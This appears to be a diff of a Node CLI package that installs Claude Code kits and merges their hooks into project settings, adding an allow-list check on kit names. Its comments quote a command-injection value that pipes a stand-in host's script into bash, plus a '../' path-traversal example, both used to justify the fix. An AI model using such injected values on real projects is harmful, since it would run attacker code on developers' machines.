AS,EAAE,MAAM,CAAC,WAAW,CAC3B,MAAM,CAAC,OAAO,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAChF;QACD,KAAK,EAAE,IAAI,CAAC,KAAK;QACjB,aAAa,EAAE,CAAC,GAAG,IAAI,CAAC,aAAa,CAAC,CAAC,IAAI,EAAE;KAC9C,CAAC;IACF,EAAE,CAAC,aAAa,CAAC,QAAQ,CAAC,GAAG,CAAC,EAAE,GAAG,IAAI,CAAC,SAAS,CAAC,OAAO,EAAE,IAAI,EAAE,CAAC,CAAC,IAAI,CAAC,CAAC;AAC3E,CAAC;AAED,iEAAiE;AACjE,MAAM,UAAU,WAAW,CAAC,IAAqB,EAAE,IAAmC;IACpF,IAAI,CAAC,IAAI;QAAE,OAAO,KAAK,CAAC;IACxB,OAAO,CACL,IAAI,CAAC,MAAM,KAAK,IAAI,CAAC,MAAM;QAC3B,IAAI,CAAC,GAAG,KAAK,IAAI,CAAC,GAAG;QACrB,IAAI,CAAC,OAAO,KAAK,IAAI,CAAC,OAAO;QAC7B,IAAI,CAAC,KAAK,KAAK,IAAI,CAAC,KAAK;QACzB,IAAI,CAAC,SAAS,CAAC,CAAC,GAAG,IAAI,CAAC,aAAa,CAAC,CAAC,IAAI,EAAE,CAAC;YAC5C,IAAI,CAAC,SAAS,CAAC,CAAC,GAAG,IAAI,CAAC,aAAa,CAAC,CAAC,IAAI,EAAE,CAAC;QAChD,IAAI,CAAC,SAAS,CAAC,MAAM,CAAC,OAAO,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC,IAAI,EAAE,CAAC;YACnD,IAAI,CAAC,SAAS,CAAC,MAAM,CAAC,OAAO,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC,IAAI,EAAE,CAAC,CACxD,CAAC;AACJ,CAAC"}
|
package/dist/lib/paths.js
CHANGED
|
@@ -24,6 +24,32 @@ export function configFile() {
|
|
|
24
24
|
export function lockPath(dir) {
|
|
25
25
|
return path.join(dir, LOCK_NAME);
|
|
26
26
|
}
|
|
27
|
+
/**
|
|
28
|
+
* A kit slug is used two ways that both make an unchecked value dangerous:
|
|
29
|
+
* it becomes a path segment (`destPathFor`) and it is interpolated into hook
|
|
30
|
+
* `command` strings that Claude Code runs without asking (`pluginRootToken`).
|
|
31
|
+
*
|
|
32
|
+
* The command case is the sharp one. `bash "…/plugins/<kit>/hooks/x.sh"` with
|
|
33
|
+
* `kit = 'foo"; curl evil.sh | bash #'` breaks out of the quotes, and the result
|
|
34
|
+
* is written into `.claude/settings.json` — a file the README tells people to
|
|
35
|
+
* commit. Every teammate then runs it on their next `git pull` plus first hook
|
|
36
|
+
* event. The slug is not purely user-supplied either: `update` takes it from
|
|
37
|
+
* `.morkit-lock.json`, so a poisoned lockfile in a merged PR is enough.
|
|
38
|
+
*
|
|
39
|
+
* Allow-list, not escaping: the set of legitimate slugs is tiny and known, and
|
|
40
|
+
* an allow-list cannot be defeated by a quoting form nobody thought of. Leading
|
|
41
|
+
* character is restricted too, so `-x` cannot read as a flag and `.`/`..` cannot
|
|
42
|
+
* become a path traversal.
|
|
43
|
+
*/
|
|
44
|
+
const KIT_SLUG = /^[A-Za-z0-9][A-Za-z0-9_-]{0,63}$/;
|
|
45
|
+
export function assertKitSlug(kit) {
|
|
46
|
+
if (typeof kit !== "string" || !KIT_SLUG.test(kit)) {
|
|
47
|
+
throw new Error(`Invalid kit name ${JSON.stringify(kit)}. ` +
|
|
48
|
+
"Allowed: letters, digits, '-' and '_', starting with a letter or digit, " +
|
|
49
|
+
"at most 64 characters.");
|
|
50
|
+
}
|
|
51
|
+
return kit;
|
|
52
|
+
}
|
|
27
53
|
/** True for kit paths that Claude Code loads directly (skills/, commands/, agents/). */
|
|
28
54
|
export function isArtifactPath(rel) {
|
|
29
55
|
const top = rel.split("/")[0];
|
|
@@ -39,6 +65,22 @@ export function isArtifactPath(rel) {
|
|
|
39
65
|
* and is kept together under one plugin directory so it stays removable.
|
|
40
66
|
*/
|
|
41
67
|
export function destPathFor(dir, kit, rel) {
|
|
68
|
+
// Third and last sink for `kit`, and the one with the widest blast radius:
|
|
69
|
+
// `applyPlan` writes to whatever comes back. Unvalidated,
|
|
70
|
+
// destPathFor('/proj', '../../../etc', 'hooks/hooks.json') resolves to
|
|
71
|
+
// /etc/hooks/hooks.json — outside the project entirely.
|
|
72
|
+
//
|
|
73
|
+
// Not reachable through `installKit`, which validates first. Validated anyway,
|
|
74
|
+
// for the reason the other two sinks are: this function is exported and called
|
|
75
|
+
// directly (tests already do), so "some caller checked" is not a property this
|
|
76
|
+
// module can rely on. Two rounds of review found me fixing this class of bug
|
|
77
|
+
// one sink at a time; this is the last one.
|
|
78
|
+
// Validate BEFORE branching, not inside the branch that happens to use `kit`.
|
|
79
|
+
// A caller passing a malicious slug is broken regardless of which branch this
|
|
80
|
+
// particular `rel` takes, and validating per-branch means the same bad slug
|
|
81
|
+
// throws for one file and passes for the next — the kind of inconsistency that
|
|
82
|
+
// makes a guard look unreliable and get removed.
|
|
83
|
+
assertKitSlug(kit);
|
|
42
84
|
return isArtifactPath(rel)
|
|
43
85
|
? path.join(dir, ".claude", rel)
|
|
44
86
|
: path.join(dir, ".claude", "plugins", kit, rel);
|
package/dist/lib/paths.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"paths.js","sourceRoot":"","sources":["../../src/lib/paths.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,SAAS,CAAC;AACzB,OAAO,IAAI,MAAM,WAAW,CAAC;AAE7B;;;;;;;;;GASG;AAEH,MAAM,CAAC,MAAM,SAAS,GAAG,mBAAmB,CAAC;AAE7C,sFAAsF;AACtF,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,QAAQ,EAAE,UAAU,EAAE,QAAQ,CAAU,CAAC;AAExE,oFAAoF;AACpF,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,QAAQ,EAAE,UAAU,EAAE,QAAQ,EAAE,SAAS,CAAU,CAAC;AAEnF,MAAM,UAAU,SAAS;IACvB,OAAO,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,OAAO,EAAE,EAAE,SAAS,CAAC,CAAC;AAC5C,CAAC;AAED,MAAM,UAAU,UAAU;IACxB,OAAO,IAAI,CAAC,IAAI,CAAC,SAAS,EAAE,EAAE,aAAa,CAAC,CAAC;AAC/C,CAAC;AAED,MAAM,UAAU,QAAQ,CAAC,GAAW;IAClC,OAAO,IAAI,CAAC,IAAI,CAAC,GAAG,EAAE,SAAS,CAAC,CAAC;AACnC,CAAC;AAED,wFAAwF;AACxF,MAAM,UAAU,cAAc,CAAC,GAAW;IACxC,MAAM,GAAG,GAAG,GAAG,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC;IAC9B,OAAQ,cAAoC,CAAC,QAAQ,CAAC,GAAG,CAAC,CAAC;AAC7D,CAAC;AAED;;;;;;;;GAQG;AACH,MAAM,UAAU,WAAW,CAAC,GAAW,EAAE,GAAW,EAAE,GAAW;IAC/D,OAAO,cAAc,CAAC,GAAG,CAAC;QACxB,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,GAAG,EAAE,SAAS,EAAE,GAAG,CAAC;QAChC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,GAAG,EAAE,SAAS,EAAE,SAAS,EAAE,GAAG,EAAE,GAAG,CAAC,CAAC;AACrD,CAAC"}
|
|
1
|
+
{"version":3,"file":"paths.js","sourceRoot":"","sources":["../../src/lib/paths.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,SAAS,CAAC;AACzB,OAAO,IAAI,MAAM,WAAW,CAAC;AAE7B;;;;;;;;;GASG;AAEH,MAAM,CAAC,MAAM,SAAS,GAAG,mBAAmB,CAAC;AAE7C,sFAAsF;AACtF,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,QAAQ,EAAE,UAAU,EAAE,QAAQ,CAAU,CAAC;AAExE,oFAAoF;AACpF,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,QAAQ,EAAE,UAAU,EAAE,QAAQ,EAAE,SAAS,CAAU,CAAC;AAEnF,MAAM,UAAU,SAAS;IACvB,OAAO,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,OAAO,EAAE,EAAE,SAAS,CAAC,CAAC;AAC5C,CAAC;AAED,MAAM,UAAU,UAAU;IACxB,OAAO,IAAI,CAAC,IAAI,CAAC,SAAS,EAAE,EAAE,aAAa,CAAC,CAAC;AAC/C,CAAC;AAED,MAAM,UAAU,QAAQ,CAAC,GAAW;IAClC,OAAO,IAAI,CAAC,IAAI,CAAC,GAAG,EAAE,SAAS,CAAC,CAAC;AACnC,CAAC;AAED;;;;;;;;;;;;;;;;GAgBG;AACH,MAAM,QAAQ,GAAG,kCAAkC,CAAC;AAEpD,MAAM,UAAU,aAAa,CAAC,GAAY;IACxC,IAAI,OAAO,GAAG,KAAK,QAAQ,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC;QACnD,MAAM,IAAI,KAAK,CACb,oBAAoB,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,IAAI;YACzC,0EAA0E;YAC1E,wBAAwB,CAC3B,CAAC;IACJ,CAAC;IACD,OAAO,GAAG,CAAC;AACb,CAAC;AAED,wFAAwF;AACxF,MAAM,UAAU,cAAc,CAAC,GAAW;IACxC,MAAM,GAAG,GAAG,GAAG,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC;IAC9B,OAAQ,cAAoC,CAAC,QAAQ,CAAC,GAAG,CAAC,CAAC;AAC7D,CAAC;AAED;;;;;;;;GAQG;AACH,MAAM,UAAU,WAAW,CAAC,GAAW,EAAE,GAAW,EAAE,GAAW;IAC/D,2EAA2E;IAC3E,0DAA0D;IAC1D,uEAAuE;IACvE,wDAAwD;IACxD,EAAE;IACF,+EAA+E;IAC/E,+EAA+E;IAC/E,+EAA+E;IAC/E,6EAA6E;IAC7E,4CAA4C;IAC5C,8EAA8E;IAC9E,8EAA8E;IAC9E,4EAA4E;IAC5E,+EAA+E;IAC/E,iDAAiD;IACjD,aAAa,CAAC,GAAG,CAAC,CAAC;IACnB,OAAO,cAAc,CAAC,GAAG,CAAC;QACxB,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,GAAG,EAAE,SAAS,EAAE,GAAG,CAAC;QAChC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,GAAG,EAAE,SAAS,EAAE,SAAS,EAAE,GAAG,EAAE,GAAG,CAAC,CAAC;AACrD,CAAC"}
|
|
@@ -0,0 +1,456 @@
|
|
|
1
|
+
import fs from "node:fs";
|
|
2
|
+
import path from "node:path";
|
|
3
|
+
import { assertKitSlug } from "./paths.js";
|
|
4
|
+
/**
|
|
5
|
+
* Wiring the kit's hooks into the project's Claude Code settings.
|
|
6
|
+
*
|
|
7
|
+
* A kit installed by this CLI is NOT a Claude Code plugin: nothing tells Claude
|
|
8
|
+
* Code that `.claude/plugins/<kit>/` exists. Measured 2026-09-04 — same bytes on
|
|
9
|
+
* disk, two outcomes:
|
|
10
|
+
*
|
|
11
|
+
* .claude/plugins/morkit/hooks/hooks.json alone → 0 of 3 hooks fired
|
|
12
|
+
* the same directory passed via --plugin-dir → 3 of 3 fired
|
|
13
|
+
*
|
|
14
|
+
* A directory marketplace plus `enabledPlugins` fired nothing either, at project
|
|
15
|
+
* scope or via --settings: declaring a marketplace makes a plugin available, it
|
|
16
|
+
* does not install one. So the only wiring that works without a per-session CLI
|
|
17
|
+
* flag is `hooks` in a settings file — which is what this module writes.
|
|
18
|
+
*
|
|
19
|
+
* Two halves land in two different files, and the split is forced by measurement:
|
|
20
|
+
*
|
|
21
|
+
* hook commands → .claude/settings.json `${CLAUDE_PROJECT_DIR}/…`
|
|
22
|
+
* Commands DO expand that variable (measured: the hook ran and received the
|
|
23
|
+
* resolved path). Machine-independent, so it is safe to commit — which
|
|
24
|
+
* matters, because the whole team should get the same hooks.
|
|
25
|
+
*
|
|
26
|
+
* MORKIT_PLUGIN_ROOT → .claude/settings.local.json absolute path
|
|
27
|
+
* `env` values do NOT expand variables (measured: a literal value arrived
|
|
28
|
+
* intact while `${CLAUDE_PROJECT_DIR}/…` arrived verbatim, unexpanded, with
|
|
29
|
+
* the literal acting as the positive control). An absolute path is therefore
|
|
30
|
+
* unavoidable — and an absolute path must not be committed, so it goes in the
|
|
31
|
+
* local file instead.
|
|
32
|
+
*/
|
|
33
|
+
/**
|
|
34
|
+
* Where the kit lives, written so Claude Code expands it per project.
|
|
35
|
+
*
|
|
36
|
+
* Validates here as well as at the CLI boundary, deliberately. This is the exact
|
|
37
|
+
* point where an unchecked slug turns into a shell command Claude Code will run
|
|
38
|
+
* unattended, so it must not depend on a caller elsewhere having checked first.
|
|
39
|
+
*/
|
|
40
|
+
export function pluginRootToken(kit) {
|
|
41
|
+
return `\${CLAUDE_PROJECT_DIR}/.claude/plugins/${assertKitSlug(kit)}`;
|
|
42
|
+
}
|
|
43
|
+
/**
|
|
44
|
+
* Absolute on-disk location of the installed kit.
|
|
45
|
+
*
|
|
46
|
+
* Validates for the same reason `pluginRootToken` does, and being the *other*
|
|
47
|
+
* sink for `kit` is exactly why it must: this value is written to
|
|
48
|
+
* `settings.local.json` as `MORKIT_PLUGIN_ROOT`, and `kit = '..'` would walk the
|
|
49
|
+
* path out of the project. Not reachable today because `installKit` validates
|
|
50
|
+
* first — but "validate at the point of use, don't trust the caller" is the rule
|
|
51
|
+
* this file states, and applying it to one of two sinks is how the other one
|
|
52
|
+
* gets forgotten.
|
|
53
|
+
*/
|
|
54
|
+
export function pluginRootPath(dir, kit) {
|
|
55
|
+
return path.join(path.resolve(dir), ".claude", "plugins", assertKitSlug(kit));
|
|
56
|
+
}
|
|
57
|
+
/**
|
|
58
|
+
* The placeholders the kit's own hooks.json uses for "where am I installed".
|
|
59
|
+
* Listed literally rather than matched by regex because the first one nests a
|
|
60
|
+
* second `${…}` inside itself, which no flat `\$\{[^}]*\}` pattern captures.
|
|
61
|
+
*/
|
|
62
|
+
const PLUGIN_ROOT_FORMS = [
|
|
63
|
+
"${MORKIT_PLUGIN_ROOT:-${CLAUDE_PLUGIN_ROOT}}",
|
|
64
|
+
"${MORKIT_PLUGIN_ROOT:-$CLAUDE_PLUGIN_ROOT}",
|
|
65
|
+
"${CLAUDE_PLUGIN_ROOT}",
|
|
66
|
+
"$CLAUDE_PLUGIN_ROOT",
|
|
67
|
+
"${MORKIT_PLUGIN_ROOT}",
|
|
68
|
+
];
|
|
69
|
+
/**
|
|
70
|
+
* Characters that continue an identifier or a kit slug.
|
|
71
|
+
*
|
|
72
|
+
* Both matchers below used bare substring tests, and both were wrong in the same
|
|
73
|
+
* way — measured:
|
|
74
|
+
*
|
|
75
|
+
* `$CLAUDE_PLUGIN_ROOT_BACKUP` became `…/plugins/morkit_BACKUP`
|
|
76
|
+
* `…/plugins/morkit-2/…` read as "inside kit morkit"
|
|
77
|
+
*
|
|
78
|
+
* The first is the sharp one: a wrong path silently embedded in a command Claude
|
|
79
|
+
* Code runs unattended, with no skip and no warning. `-` belongs in this class
|
|
80
|
+
* as well as `_` and alphanumerics, because a kit slug may contain it, so
|
|
81
|
+
* `morkit` must not match the start of `morkit-2`.
|
|
82
|
+
*/
|
|
83
|
+
const IDENT_CHAR = /[A-Za-z0-9_-]/;
|
|
84
|
+
/** True when `root` occurs in `command` as a whole path segment, not a prefix. */
|
|
85
|
+
function pointsInsideKit(command, root) {
|
|
86
|
+
let from = 0;
|
|
87
|
+
for (;;) {
|
|
88
|
+
const at = command.indexOf(root, from);
|
|
89
|
+
if (at === -1)
|
|
90
|
+
return false;
|
|
91
|
+
const next = command[at + root.length];
|
|
92
|
+
if (next === undefined || !IDENT_CHAR.test(next))
|
|
93
|
+
return true;
|
|
94
|
+
from = at + 1;
|
|
95
|
+
}
|
|
96
|
+
}
|
|
97
|
+
function substitute(command, kit) {
|
|
98
|
+
const root = pluginRootToken(kit);
|
|
99
|
+
let out = command;
|
|
100
|
+
for (const form of PLUGIN_ROOT_FORMS) {
|
|
101
|
+
if (form.endsWith("}")) {
|
|
102
|
+
// `${…}` is self-delimiting, so a literal replace is exact.
|
|
103
|
+
out = out.split(form).join(root);
|
|
104
|
+
continue;
|
|
105
|
+
}
|
|
106
|
+
// A bare `$NAME` needs an identifier boundary, or `$CLAUDE_PLUGIN_ROOT` also
|
|
107
|
+
// eats the head of `$CLAUDE_PLUGIN_ROOT_BACKUP` and leaves a corrupted path.
|
|
108
|
+
out = out.replace(new RegExp(`${form.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")}(?![A-Za-z0-9_-])`, "g"), () => root);
|
|
109
|
+
}
|
|
110
|
+
return out;
|
|
111
|
+
}
|
|
112
|
+
/**
|
|
113
|
+
* Plugin-root placeholders still left in a command after substitution.
|
|
114
|
+
*
|
|
115
|
+
* Deliberately narrow. An earlier version treated EVERY `$VAR` other than
|
|
116
|
+
* `CLAUDE_PROJECT_DIR` as unresolved, which also condemned ordinary shell
|
|
117
|
+
* variables — `$HOME`, `$PATH`, anything bash resolves for itself at run time.
|
|
118
|
+
* A future kit hook using one of those would have been dropped silently-ish,
|
|
119
|
+
* for no reason.
|
|
120
|
+
*
|
|
121
|
+
* Only these names matter here: they are the "where am I installed" family, the
|
|
122
|
+
* ones nothing sets when there is no plugin runtime. Everything else is the hook
|
|
123
|
+
* author's business, not ours.
|
|
124
|
+
*/
|
|
125
|
+
const ROOT_VAR_NAMES = ["CLAUDE_PLUGIN_ROOT", "MORKIT_PLUGIN_ROOT", "MORKIT_REPO_ROOT"];
|
|
126
|
+
function unresolvedRefs(command) {
|
|
127
|
+
const found = command.match(/\$\{?[A-Za-z_][A-Za-z0-9_]*/g) ?? [];
|
|
128
|
+
return [...new Set(found.map((r) => r.replace(/^\$\{?/, "")))].filter((name) => ROOT_VAR_NAMES.includes(name));
|
|
129
|
+
}
|
|
130
|
+
/**
|
|
131
|
+
* Turn the kit's `hooks/hooks.json` into entries safe to merge into a settings
|
|
132
|
+
* file, dropping anything this CLI has no business owning.
|
|
133
|
+
*
|
|
134
|
+
* A hook is wired only when its command points inside the installed kit.
|
|
135
|
+
*
|
|
136
|
+
* That rule is not cosmetic, and the case that proves it is worth spelling out
|
|
137
|
+
* so nobody "cleans it up" at the wrong end. The kit's hooks.json contains a
|
|
138
|
+
* `Stop` entry reading `${MORKIT_REPO_ROOT:-.}/.claude/helpers/hook-handler.cjs`.
|
|
139
|
+
* The kit does not ship that file, or the model-routing subsystem behind it —
|
|
140
|
+
* and it should not: `scope-guard.cjs` states the feature "must apply ONLY
|
|
141
|
+
* within the claude-plugins repo", gated on a `.model-routing.json` marker at
|
|
142
|
+
* the repo root.
|
|
143
|
+
*
|
|
144
|
+
* So the entry is **correct where it is**. It serves the clone-based Codex
|
|
145
|
+
* install, where the repo root really is present. Deleting it from the kit
|
|
146
|
+
* would break that path. Skipping it *here* — in the one install shape that has
|
|
147
|
+
* no repo root — is the right end to fix, and the reason gets printed rather
|
|
148
|
+
* than swallowed so the difference stays visible.
|
|
149
|
+
*/
|
|
150
|
+
export function planHookWiring(raw, kit) {
|
|
151
|
+
let parsed;
|
|
152
|
+
try {
|
|
153
|
+
parsed = JSON.parse(raw.toString("utf8"));
|
|
154
|
+
}
|
|
155
|
+
catch (err) {
|
|
156
|
+
throw new Error(`hooks/hooks.json in kit '${kit}' is not valid JSON: ${err.message}`);
|
|
157
|
+
}
|
|
158
|
+
const root = pluginRootToken(kit);
|
|
159
|
+
const hooks = {};
|
|
160
|
+
const commands = [];
|
|
161
|
+
const skipped = [];
|
|
162
|
+
for (const [event, groups] of Object.entries(parsed.hooks ?? {})) {
|
|
163
|
+
if (!Array.isArray(groups))
|
|
164
|
+
continue;
|
|
165
|
+
const keptGroups = [];
|
|
166
|
+
for (const group of groups) {
|
|
167
|
+
// Tầng lồng thứ hai. `groups` đã được kiểm ở trên; `group.hooks` thì chưa,
|
|
168
|
+
// và một số/object ở đó làm `for...of` ném `TypeError: 42 is not iterable`
|
|
169
|
+
// — thông báo vô nghĩa thay cho một lỗi nêu tên event. Lần thứ SÁU của
|
|
170
|
+
// cùng lỗi quét trong PR này: kiểm tầng đang sửa, bỏ tầng lồng bên trong.
|
|
171
|
+
if (group?.hooks !== undefined && !Array.isArray(group.hooks)) {
|
|
172
|
+
skipped.push({
|
|
173
|
+
event,
|
|
174
|
+
command: JSON.stringify(group.hooks),
|
|
175
|
+
reason: `"hooks" inside a ${event} group must be an array, found ${typeof group.hooks}`,
|
|
176
|
+
});
|
|
177
|
+
continue;
|
|
178
|
+
}
|
|
179
|
+
const keptHooks = [];
|
|
180
|
+
for (const entry of group?.hooks ?? []) {
|
|
181
|
+
const original = typeof entry?.command === "string" ? entry.command : "";
|
|
182
|
+
if (!original) {
|
|
183
|
+
// Reported, not dropped. The other two skip branches below both say
|
|
184
|
+
// why, because this module's own rule is that a skipped hook has a
|
|
185
|
+
// printed reason — and a malformed entry in the kit is exactly the
|
|
186
|
+
// case where silence costs most: the kit author sees a hook that
|
|
187
|
+
// simply never runs, with nothing anywhere saying so.
|
|
188
|
+
skipped.push({
|
|
189
|
+
event,
|
|
190
|
+
command: JSON.stringify(entry?.command ?? null),
|
|
191
|
+
reason: `"command" missing or not a string (found ${typeof entry?.command})`,
|
|
192
|
+
});
|
|
193
|
+
continue;
|
|
194
|
+
}
|
|
195
|
+
const command = substitute(original, kit);
|
|
196
|
+
if (!pointsInsideKit(command, root)) {
|
|
197
|
+
skipped.push({
|
|
198
|
+
event,
|
|
199
|
+
command: original,
|
|
200
|
+
reason: "does not point inside the installed kit",
|
|
201
|
+
});
|
|
202
|
+
continue;
|
|
203
|
+
}
|
|
204
|
+
const unresolved = unresolvedRefs(command);
|
|
205
|
+
if (unresolved.length > 0) {
|
|
206
|
+
skipped.push({
|
|
207
|
+
event,
|
|
208
|
+
command: original,
|
|
209
|
+
reason: `unresolved variable(s): ${unresolved.join(", ")}`,
|
|
210
|
+
});
|
|
211
|
+
continue;
|
|
212
|
+
}
|
|
213
|
+
keptHooks.push({ ...entry, command });
|
|
214
|
+
commands.push(command);
|
|
215
|
+
}
|
|
216
|
+
if (keptHooks.length > 0)
|
|
217
|
+
keptGroups.push({ ...group, hooks: keptHooks });
|
|
218
|
+
}
|
|
219
|
+
if (keptGroups.length > 0)
|
|
220
|
+
hooks[event] = keptGroups;
|
|
221
|
+
}
|
|
222
|
+
return { hooks, commands, skipped };
|
|
223
|
+
}
|
|
224
|
+
/**
|
|
225
|
+
* Merge our hook groups into an existing settings object.
|
|
226
|
+
*
|
|
227
|
+
* `owned` is the command list from the previous install (the lockfile). Entries
|
|
228
|
+
* matching it are replaced; everything else in the file is left exactly as it
|
|
229
|
+
* is. That is the whole point: a project's own hooks, and hooks another tool
|
|
230
|
+
* installed, must survive `morkit update`.
|
|
231
|
+
*
|
|
232
|
+
* Pure — takes and returns a plain object, touches no disk.
|
|
233
|
+
*/
|
|
234
|
+
export function mergeHooks(settings, wiring, owned = []) {
|
|
235
|
+
const ownedSet = new Set(owned);
|
|
236
|
+
const currentRaw = settings.hooks ?? {};
|
|
237
|
+
// `readJsonFile` only guarantees the ROOT is an object; nothing checked the
|
|
238
|
+
// shape underneath. Same stance as `env` and as the root itself: refuse rather
|
|
239
|
+
// than clobber. Silently treating a malformed event as empty means the next
|
|
240
|
+
// write DELETES whatever was there — from a file that is committed and
|
|
241
|
+
// hand-editable — with no warning at all.
|
|
242
|
+
if (typeof currentRaw !== "object" || currentRaw === null || Array.isArray(currentRaw)) {
|
|
243
|
+
throw new Error(`"hooks" must be a JSON object, found ${typeof currentRaw}.`);
|
|
244
|
+
}
|
|
245
|
+
const current = currentRaw;
|
|
246
|
+
for (const [event, groups] of Object.entries(current)) {
|
|
247
|
+
if (!Array.isArray(groups)) {
|
|
248
|
+
throw new Error(`"hooks.${event}" must be a JSON array, found ${typeof groups}.`);
|
|
249
|
+
}
|
|
250
|
+
for (const group of groups) {
|
|
251
|
+
// Cùng lý do như tầng trên: đây là file ĐƯỢC COMMIT và sửa tay, nên một
|
|
252
|
+
// `hooks` sai kiểu ở tầng nhóm phải cho lỗi nêu được chỗ sai, không phải
|
|
253
|
+
// `.filter is not a function`.
|
|
254
|
+
if (group?.hooks !== undefined && !Array.isArray(group.hooks)) {
|
|
255
|
+
throw new Error(`"hooks.${event}[].hooks" must be a JSON array, found ${typeof group.hooks}.`);
|
|
256
|
+
}
|
|
257
|
+
}
|
|
258
|
+
}
|
|
259
|
+
const next = {};
|
|
260
|
+
const events = new Set([...Object.keys(current), ...Object.keys(wiring.hooks)]);
|
|
261
|
+
for (const event of events) {
|
|
262
|
+
const foreign = [];
|
|
263
|
+
for (const group of current[event] ?? []) {
|
|
264
|
+
// Drop only the hooks we previously wrote; keep the rest of the group.
|
|
265
|
+
const keep = (group?.hooks ?? []).filter((h) => !(typeof h?.command === "string" && ownedSet.has(h.command)));
|
|
266
|
+
if (keep.length > 0)
|
|
267
|
+
foreign.push({ ...group, hooks: keep });
|
|
268
|
+
}
|
|
269
|
+
const merged = [...foreign, ...(wiring.hooks[event] ?? [])];
|
|
270
|
+
if (merged.length > 0)
|
|
271
|
+
next[event] = merged;
|
|
272
|
+
}
|
|
273
|
+
const out = { ...settings };
|
|
274
|
+
if (Object.keys(next).length > 0)
|
|
275
|
+
out.hooks = next;
|
|
276
|
+
else
|
|
277
|
+
delete out.hooks;
|
|
278
|
+
return out;
|
|
279
|
+
}
|
|
280
|
+
export function readJsonFile(file) {
|
|
281
|
+
if (!fs.existsSync(file))
|
|
282
|
+
return {};
|
|
283
|
+
try {
|
|
284
|
+
const parsed = JSON.parse(fs.readFileSync(file, "utf8"));
|
|
285
|
+
// A settings file that is valid JSON but not an object (`[]`, `"x"`, `null`)
|
|
286
|
+
// would silently lose its content on spread. Refuse instead of clobbering.
|
|
287
|
+
if (parsed === null || typeof parsed !== "object" || Array.isArray(parsed)) {
|
|
288
|
+
throw new Error("expected a JSON object");
|
|
289
|
+
}
|
|
290
|
+
return parsed;
|
|
291
|
+
}
|
|
292
|
+
catch (err) {
|
|
293
|
+
throw new Error(`Cannot read ${file}: ${err.message}`);
|
|
294
|
+
}
|
|
295
|
+
}
|
|
296
|
+
/** Temp-then-rename, matching applyPlan — a crash never leaves half a file. */
|
|
297
|
+
export function writeJsonFile(file, value) {
|
|
298
|
+
fs.mkdirSync(path.dirname(file), { recursive: true });
|
|
299
|
+
const tmp = `${file}.${process.pid}.tmp`;
|
|
300
|
+
fs.writeFileSync(tmp, `${JSON.stringify(value, null, 2)}\n`);
|
|
301
|
+
fs.renameSync(tmp, file);
|
|
302
|
+
}
|
|
303
|
+
export function settingsPath(dir) {
|
|
304
|
+
return path.join(dir, ".claude", "settings.json");
|
|
305
|
+
}
|
|
306
|
+
export function localSettingsPath(dir) {
|
|
307
|
+
return path.join(dir, ".claude", "settings.local.json");
|
|
308
|
+
}
|
|
309
|
+
const IGNORE_LINE = "settings.local.json";
|
|
310
|
+
/**
|
|
311
|
+
* Keep `.claude/settings.local.json` out of git.
|
|
312
|
+
*
|
|
313
|
+
* Not optional housekeeping: that file holds an absolute path, and the project
|
|
314
|
+
* README instructs users to commit `.claude/`. Without this, the first
|
|
315
|
+
* `git add .claude` ships one developer's home directory to everybody.
|
|
316
|
+
*
|
|
317
|
+
* Writes `.claude/.gitignore` rather than touching the project's root
|
|
318
|
+
* `.gitignore` — morkit only edits inside the directory it owns. Appends when
|
|
319
|
+
* the file already exists, so a project's own rules there survive.
|
|
320
|
+
*
|
|
321
|
+
* Returns true when the file was written.
|
|
322
|
+
*/
|
|
323
|
+
export function ensureLocalIgnored(dir) {
|
|
324
|
+
const file = path.join(path.resolve(dir), ".claude", ".gitignore");
|
|
325
|
+
const existing = fs.existsSync(file) ? fs.readFileSync(file, "utf8") : "";
|
|
326
|
+
const lines = existing.split("\n").map((l) => l.trim());
|
|
327
|
+
if (lines.includes(IGNORE_LINE) || lines.includes(`/${IGNORE_LINE}`))
|
|
328
|
+
return false;
|
|
329
|
+
const body = existing === "" ? "" : existing.endsWith("\n") ? existing : `${existing}\n`;
|
|
330
|
+
fs.mkdirSync(path.dirname(file), { recursive: true });
|
|
331
|
+
fs.writeFileSync(file, `${body}${IGNORE_LINE}\n`);
|
|
332
|
+
return true;
|
|
333
|
+
}
|
|
334
|
+
/**
|
|
335
|
+
* Hooks that point into this kit but are not in the lockfile.
|
|
336
|
+
*
|
|
337
|
+
* Ownership is tracked by exact command string, which has one real failure mode:
|
|
338
|
+
* edit a command morkit wrote — fix a typo, add an argument — and it no longer
|
|
339
|
+
* matches the lockfile. `mergeHooks` then treats it as somebody else's hook and
|
|
340
|
+
* keeps it, while still adding morkit's own version alongside. The event ends up
|
|
341
|
+
* with two entries running for it.
|
|
342
|
+
*
|
|
343
|
+
* Keeping the edit is the right call — deleting a person's change is exactly the
|
|
344
|
+
* clobbering this module refuses to do elsewhere. Doing it *silently* is not. So
|
|
345
|
+
* we detect the case with the signal we already have (the command points inside
|
|
346
|
+
* this kit) and report it; the person decides which entry to drop.
|
|
347
|
+
*
|
|
348
|
+
